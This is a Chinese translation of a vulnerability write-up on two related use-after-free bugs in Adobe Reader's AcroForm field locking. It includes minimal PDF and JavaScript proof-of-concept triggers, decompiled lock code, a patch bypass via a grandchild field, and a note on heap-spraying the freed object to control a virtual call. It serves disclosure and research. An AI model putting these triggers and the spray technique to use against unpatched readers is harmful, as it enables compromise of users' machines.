CVE-2021-28632 & CVE-2021-39840: 绕过adobe reader中的锁

VSole2021-11-18 17:01:12

前言

这篇博文描述了我提交给 ZDI 的两个 Adobe Reader 释放后使用漏洞:一个来自 2021 年 6 月的补丁 ( CVE-2021-28632 ),一个来自 2021 年 9 月的补丁 ( CVE-2021-39840 )。关于这两个bug的一个有趣方面是它们是相关的——第一个错误是通过模糊测试发现的,第二个错误是通过逆向工程发现的,它绕过第一个错误的补丁。

CVE-2021-28632:了解字段锁

一天清晨,在对fuzz结果进行例行崩溃分析时,一个 Adobe Reader 崩溃引起了我的注意:

** Adobe Reader DC 2021.001.20135 
eax=549b6fe8 ebx=00000000 ecx=04cfb49c edx=40004000 esi=549b6fe8 edi=3344afa8 eip=67147215 esp=04cfb504 ebp=04cfb544 iopl=0         nv up ei pl zr na pe nc cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246 AcroForm!DllUnregisterServer+0xd0b45: 67147215 8b4f14          mov     ecx,dword ptr [edi+14h] ds:002b:3344afbc=????????

在经过几个小时的样本最小化和清理fuzzer生成的 PDF 文件后,最终简化的PoC 如下所示(PDF部分仅限重要的内容):

8 0 obj <<     /FT /Tx     /Kids [9 0 R]                    % [A]     /T (fieldParent) >> endobj 
9 0 obj <<     /FT /Tx     /T (fieldChild) 
    /Type /Annot                    % [B]     /Subtype /Widget     /Rect [0 0 1 1] >> endobj

JavaScript 部分:

function callback() {     removeField("fieldChild");                        // [1] } 
try {     fieldParent = getField("fieldParent");     fieldParent.setAction("Format", "callback()");    // [2]     fieldParent.textSize = 1;                         // [3] }catch(e) {     app.alert("exception: " + e) }

崩溃是涉及到CPDField对象的一个UAF。CPDField对象是AcroForm.api的内部C++对象,在交互式表单中代表文本字段、按钮字段等。

在上面的PDF部分中,创建了两个CPDField对象来代表两个文本字段,名为fieldParent和fieldChild。这里需要注意的是,创建的对象是一个CTextField类型,它是CPDField的子类,用于文本字段。为了简化讨论,它们将被称为CPDField对象。

触发该错误的一个重要因素是,fieldChild应该是fieldParent的子类,通过在fieldParent PDF对象字典的/Kidskey中指定它(见上文),正如PDF文件格式规范中所记载的那样。

与该bug有关的另一个重要概念是,为了防止CPDField对象在使用中被释放,使用了一个名为LockFieldProp的内部属性。CPDField对象的内部属性是通过一个C++ map成员变量来存储的。

如果LockFieldProp不为零,意味着CPDField对象被加锁,不能被释放;如果它为零或未被设置,意味着CPDField对象被解锁,可以被释放。下面是PoC中两个CPDField对象在调用字段锁的代码(后面会讨论)之前的可视化表示:fieldParent是解锁状态(LockFieldProp为0),呈绿色,fieldChild也是解锁状态(LockFieldProp未设置),也呈绿色。

在PoC的JavaScript部分,代码设置了一个JavaScript回调,以便当fieldParent的 “Format “事件被触发时,自定义的JavaScript函数callback()会被执行。然后JavaScript代码通过设置fieldParent的textSize属性来触发 “Format “事件。在内部,这将执行AcroForm.api中JavaScript Field对象的textSize属性设置器。

AcroForm.api中textSize属性设置器的第一个动作是针对fieldParent调用以下代码加锁。

// Ghidra decompiled code // 0x20b96568 in AcroForm.api (Adobe Reader DC 2021.001.20135) // Except for "CPDField", all names are assumed (not actual) 
CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this, CPDField *field) {   uint16_t locked; 
  this->field = field;   this->locked = 0;   if (field != (CPDField *)0x0) {     locked = LockFieldPropGet(field);     if (locked == 0) {       LockFieldPropSet(this->field,1);    // [AA]       this->locked = 1;     }   }   return this; }

上述代码通过将其LockFieldProp属性设置为1[AA],锁定了传递给它的CPDField对象。

执行字段加锁代码后,fieldParent(加锁:红色)和fieldChild(解锁:绿色)的锁状态如下。

注意在Adobe Reader的后期版本中,LockFieldProp的值是一个指向计数器的指针,而不是被设置为1或0的值。

接下来,AcroForm.api中的textSize属性设置器递归调用下面的CPDField方法,在这里发生了UAF。

// Ghidra decompiled code // 0x20b971a0 in AcroForm.api (Adobe Reader DC 2021.001.20135) // Except for "CPDField", all names are assumed (not actual) 
void __thiscall CPDField::propagateNotification(CPDField *this,undefined4 param1,undefined4 param2) {   // 1st call: `this` points to fieldParent   // 2nd call: `this` points to fieldChild 
  // [...] 
    if ((int)this->widgetEnd - (int)this->widgetStart >> 2 == 0){                // [aa] 
      // 1st call: `this` points to fieldParent 
      CPDField::getKidsHandle(this,&kidsHandle);       getHandleType = g_AcroRdObjFuncs->PDHandleGetType;       handleLo_ = (uint32_t)kidsHandle;       handleHi_ = kidsHandle._4_4_;       _guard_check_icall(getHandleType);       handleType = (*getHandleType)(CONCAT44(handleHi_,handleLo_));       if (handleType == PDHANDLE_TYPE_ARRAY) {         arrayGetLen = g_AcroRdObjFuncs->PDArrayGetLen;         handleLo__ = (uint32_t)kidsHandle;         handleHi__ = kidsHandle._4_4_;         _guard_check_icall(arrayGetLen);         kidsLen = (*arrayGetLen)(CONCAT44(handleHi__,handleLo__)); 
        // For each of the field's children, perform a recursive call 
        for (kidsIndex = 0; kidsIndex < kidsLen; kidsIndex = kidsIndex + 1) {    // [bb]           arrayGetItemAtIndex = g_AcroRdObjFuncs->PDArrayGetItemAtIndex;           handleLo___ = (uint32_t)kidsHandle;           handleHi___ = kidsHandle._4_4_;           kidsIndex_ = kidsIndex;           _guard_check_icall(arrayGetItemAtIndex);           kidHandle = (*arrayGetItemAtIndex)(CONCAT44(handleHi___,handleLo___),kidsIndex_);           field = FieldNameMap::getByHandle(this->fieldNameMap,kidHandle,1);           if (field != (CPDField *)0x0) { 
            // `field` will point to fieldChild 
            propagateNotification = field->vftable->propagateNotification;             uVar5 = param1;             uVar6 = param2;             _guard_check_icall(propagateNotification); 
            // perform recursive call with the `this` pointer pointing to fieldChild 
            (*propagateNotification)(field,uVar5,uVar6);                         // [cc]           }         }       }     }     else {       if (this->field_0x24 == 0) { 
        // 2nd call: `this` points to fieldChild 
        // Triggers a notification that results in the execution of the         // custom JavaScript callback() function that will free fieldChild 
        notify = this->vftable->notify;         uVar5 = param1;         _guard_check_icall(notify);         pCVar3 = (CPDField *)(*notify)(this,uVar5);                              // [dd] 
        // `this` pointer (fieldChild) is now a dangling pointer 
        // [...]       }     }     // [...]   }   return; }

在第一次调用上述方法时,this指针指向加锁的fieldParent CPDField对象。因为它没有相关的部件[aa](上方[aa]处的代码,下同),该方法执行了一个递归调用[cc],this指针指向fieldParent的每个子对象[bb]。

因此,在第二次调用上述方法时,this指针指向fieldChild CPDField对象,由于它有一个相关的widget(见PoC中PDF部分的[B]),一个通知将被触发[dd],导致自定义JavaScriptcallback()函数被执行。如上图所示,加锁代码只锁定了fieldParent,而fieldChild却没有被加锁。因为fieldChild被解锁了,自定义JavaScriptcallback()函数中的removeField(“fieldChild”)调用(见PoC中JavaScript部分的[1])成功地释放了fieldChild CPDField对象。这导致递归方法中的this指针在[dd]的调用后成为一个悬挂的指针。随后此悬挂指针被解引用,导致崩溃。

这是第一个漏洞在2021年6月被Adobe修补,并分配给CVE-2021-28632。

CVE-2021-39840:逆向补丁和绕过锁

我很好奇Adobe是如何修补CVE-2021-28632的,所以在补丁发布后,我决定看一下更新后的AcroForm.api。

在逆向更新后的字段加锁代码时,我注意到添加了一个对加锁传递字段的直接子类的方法的调用:

// Ghidra decompiled code // 0x20b966d8 in AcroForm.api (Adobe Reader DC 2021.005.20048) // Except for "CPDField", all names are assumed (not actual) 
CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this,CPDField *field) {   uint16_t locked;   CPDField *field_; 
  this->field = field;   this->locked = 0;   if ((field != (CPDField *)0x0) && (locked = LockFieldPropGet(field), locked == 0)) {     LockFieldPropSet(this->field,1);     field_ = this->field;     this->locked = 1;     if ((int)field_->widgetEnd - (int)field_->widgetStart >> 2 == 0) {       CPDField::lockUnlockKids(field_,1);    // Added call: Lock the field's immediate descendants     }   }   return this; }

通过添加的代码,fieldParent和fieldChild都将被加锁,第一个错误的PoC将在释放fieldChild时失败。

在评估更新后的代码时,我产生了一个想法:由于加锁代码只额外锁定字段的直系子类,如果该字段有一个非直系子类呢?我迅速将CVE-2021-28632的PoC修改为以下内容。

PDF部分(只有重要部分)。

9 0 obj <<     /FT /Tx     /Kids [10 0 R]     /T (fieldParent) >> endobj 
10 0 obj <<     /FT /Tx     /T (fieldChild)     /Kids [11 0 R] >> endobj 
11 0 obj                      % Added a grandchild field <<                            % fieldGrandChild is a grandchild of fieldParent     /FT /Tx     /T (fieldGrandChild) 
    /Type /Annot     /Subtype /Widget     /Rect [0 0 1 1] >> endobj

JavaScript部分:

function callback() {     removeField("fieldGrandChild");     // free the fieldGrandChild CPDField object } 
try {     fieldParent = getField("fieldParent");     fieldParent.setAction("Format", "callback()");     fieldParent.textSize = 1; }catch(e) {     app.alert("exception: " + e) }

然后在调试器下的Adobe Reader中加载更新后的PoC,点击开始……然后崩溃了!

** Adobe Reader DC 2021.005.20048 
(2568.2504): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=4334cfe8 ebx=00000000 ecx=6381b85b edx=00400000 esi=4334cfe8 edi=33ddcfa0 eip=637f73b5 esp=0057b6a4 ebp=0057b6e4 iopl=0         nv up ei pl zr na pe nc cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246 AcroForm!DllUnregisterServer+0xd0bb5: 637f73b5 8b4f14          mov     ecx,dword ptr [edi+14h] ds:002b:33ddcfb4=????????

补丁被绕过了,Adobe Reader在之前讨论的递归方法中的同一位置崩溃了,和上一个UAF一样。

经过进一步分析,我确认下图是调用递归方法时字段锁的状态。请注意,fieldGrandChild是解锁状态,因此,可以被释放。

递归的CPDField方法从指向fieldParent的this指针开始,接着用指向fieldChild的this指针调用自身,然后用指向fieldGrandChild的this指针再次调用自身。由于fieldGrandChild有一个附加的部件,释放fieldGrandChild的JavaScriptcallback()函数被执行,有效地使this指针成为一个悬挂的指针。

这是第二个漏洞在2021年9月被Adobe修补,并分配给CVE-2021-39840。

 控制字段对象

通过JavaScript控制被释放的CPDField对象是很直接的:在通过调用removeField()释放CPDField对象后,JavaScript代码可以用类似大小的数据或一个对象喷射占领堆块,以替换被释放的CPDField对象的内容。

当我向ZDI提交报告时,包括了第二个PoC,它展示了对CPDField对象的完全控制,然后对一个受控的、虚函数表指针进行解引用。

** Adobe Reader DC 2021.005.20048 ** Debug log of PoC for CVE-2021-39840 
[...] 
eax=101000d8 ebx=00000000 ecx=00000000 edx=00000001 esi=0d049dc0 edi=0f08abf8 eip=64c673d9 esp=050fb5cc ebp=050fb614 iopl=0         nv up ei pl nz na po nc cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 AcroForm!DllUnregisterServer+0xd0bd9: 64c673d9 8b7030          mov     esi,dword ptr [eax+30h] ds:002b:10100108=41414141 
0:000> u AcroForm!DllUnregisterServer+0xd0bd9: 64c673d9 8b7030          mov     esi,dword ptr [eax+30h] 64c673dc 8bce            mov     ecx,esi 64c673de ff1544690965    call    dword ptr [AcroForm!DllUnregisterServer+0x500144 (65096944)] ; CFG check 64c673e4 8b4dec          mov     ecx,dword ptr [ebp-14h] 64c673e7 ffd6            call    esi    ; call using a controlled register (esi)
 

总结

对象树的实现,特别是那些可以任意控制和销毁对象的应用,很容易出现 “UAF”漏洞。对于开发者来说,必须特别注意对象引用跟踪和对象锁的实现。对于漏洞研究者来说,它们代表了发现有趣的漏洞的机会。

译文声明

译文仅供参考,具体内容表达以原文为准。

指针指针变量
本作品采用《CC 协议》,转载必须注明作者和本文链接
Tips:DLL 和 Shellcode 文件路径使用绝对路径;不论是 list 操作还是 inject 操作,都会尝试开启 DEBUG 权限;避免对同一进程交替进行 DLL 注入和 shellcode 注入或者重复进行 DLL 注入,可能会报错 “被调用的对象已与其客户端断开连接。”,貌似是多次调用后远程接口会被释放掉;如果报错 “不支持此接口 ”,就多试几遍;并不是任何进程都能注入,只能对 list 动作显示出来的进程进行注入技术原理。
HOOK技术实战
2021-10-19 05:55:56
对于Windows系统,它是建立在事件驱动机制上的,说白了就是整个系统都是通过消息传递实现的。hook(钩子)是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理。所以说,我们可以在系统中自定义钩子,用来监视系统中特定事件的发生,完成特定功能,如屏幕取词,监视日志,截获键盘、鼠标输入等等。
干货 | HOOK技术实战
2021-10-16 10:09:27
基础知识对于Windows系统,它是建立在事件驱动机制上的,说白了就是整个系统都是通过消息传递实现的。钩子可以分为线程钩子和系统钩子,线程钩子可以监视指定线程的事件消息,系统钩子监视系统中的所有线程的事件消息。当前钩子处理结束后应把钩子信息传递给下一个钩子函数。PE头是固定不变的,位于DOS头部中e_ifanew字段指出位置。
从代码视角来分析漏洞问题
前文再续,书接上一回《Windows内核提权漏洞CVE-2018-8120的分析·上》(https://www.anquanke.com/post/id/241057)。
接着是read_password函数,与read_name函数基本一致。在看最后的password_checker()前,我们用正确密码测试文件,显示段错误。查看password_checker,login与admin的密码比较后,来了个奇葩的有毒打印,接着前面的二级函数终于被调用了。我们需要知道报错原因,gdb调试发现正好是二级指针调用出错。利用思路经过上面的初步分析,我们知道程序在password_checker中调用一个二级指针失败而段错误终止,考虑到canary的存在,srop不可能短期实现。即使我们无法利用这个二级指针getshell,它的存在也会让程序终止。
逆向角度看C++部分特性
Gh0st RAT变体分析
2021-10-28 06:05:13
普通模式下,该恶意进程通过sub_10017F40函数和sub_10017F00函数每隔50毫秒与C2服务器进行交互。发送给C2的数据都会通过sub_10004810函数进行加密,数据窗口中0x1E60938是加密后的数据。
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA。漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。tagWINDOWSTATIONspklList对象的结构为:漏洞触发验证查看SSDT表dd KeServiceDescriptorTabledds Address L11C 显示地址里面值指向的地址. 以4个字节显示。
VSole
网络安全专家